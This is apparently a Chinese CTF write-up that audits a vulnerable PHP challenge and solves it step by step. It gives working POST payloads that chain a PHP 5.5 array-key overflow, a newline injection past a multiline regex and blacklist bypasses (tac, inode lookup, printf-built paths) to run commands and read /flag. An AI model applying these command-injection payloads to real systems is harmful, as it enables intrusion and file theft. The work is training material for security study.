進入界面
<?php //php5.5.9 $stuff = $_POST["stuff"]; $array = ['admin', 'user']; if($stuff === $array && $stuff[0] != 'admin') { $num= $_POST["num"]; if (preg_match("/^\d+$/im",$num)){ if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){ echo "my favorite num is:"; system("echo ".$num); }else{ echo 'Bonjour!'; } } } else { highlight_file(__FILE__); }
簡單的代碼審計
- 首先是個判斷,既要數組強等於,又要首元素不等
- 然后是個正則"/^\d+$/im",要求整個字符串都是數字,大小寫不敏感,跨行檢測
-
- ^和$ 匹配字符串開頭和結尾
- /d 匹配數字
- /i 表示匹配的時候不區分大小寫
- /m 表示多行匹配。什么是多行匹配呢?就是匹配換行符兩端的潛在匹配。影響正則中的^$符號
- 接着是個黑名單,把常用的可以執行的代碼命令都排除了
- 最后是一個system函數,可以執行外部程式並且顯示輸出
所以本題的解題思路是,先繞過前面3個if判斷,然后利用system()執行外部命令。
一 數組比較繞過:通過php5.5版本的數組key溢出漏洞
參考數組的key溢出問題
payload如下(4294967296=2^32)
stuff[4294967296]=admin&stuff[1]=user&num=123
或者
stuff[-4294967296]=admin&stuff[1]=user&num=123
成功繞過第一個if判斷。
二 換行符繞過正則跨行匹配
然后嘗試繞過數字檢測,可以使用換行符%0a繞過跨行匹配。
payload如下
stuff[4294967296]=admin&stuff[1]=user&num=123%0als
這里不能使用hackbar來執行payload,因為火狐瀏覽器會自動在換行符%0a前面加上回車符%0d,湊成%0d%0a,使繞過失敗。
使用burp,成功繞過數字檢測,執行ls命令。
三 黑名單繞過
查看系統根目錄,我們發現了flag文件。
本來應該執行cat /flag我們就可以直接得到flag。但是由於第三個if判斷過濾掉了cat和flag以及其他的一些特殊字符。我們就只能想別的辦法了。
linux系統習下查看文件內容的方法有如下
除了cat在黑名單中被過濾了外,其他的我們都可以使用,比如這里我們用tac。
文件名繞過則有兩個比較好用的方法
方法1 用inode索引節點
先使用ls -i命令尋找flag的inode號,payload如下
然后,讀取flag(使用`繞過單雙引號過濾)
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 38406195`
方法2 將文件名輸出到文件里,然后執行文件。
payload如下
stuff[4294967296]=admin&stuff[1]=user&num=123%0aprintf /fla > /tmp/hello && printf g >> /tmp/hello && tac `tac /tmp/hello`
知識點小結
- php5.5的數組key溢出
- 換行符繞過正則跨行匹配
- inode繞過正則
- 文件輸出繞過正則
參考:https://www.freesion.com/article/93221418160/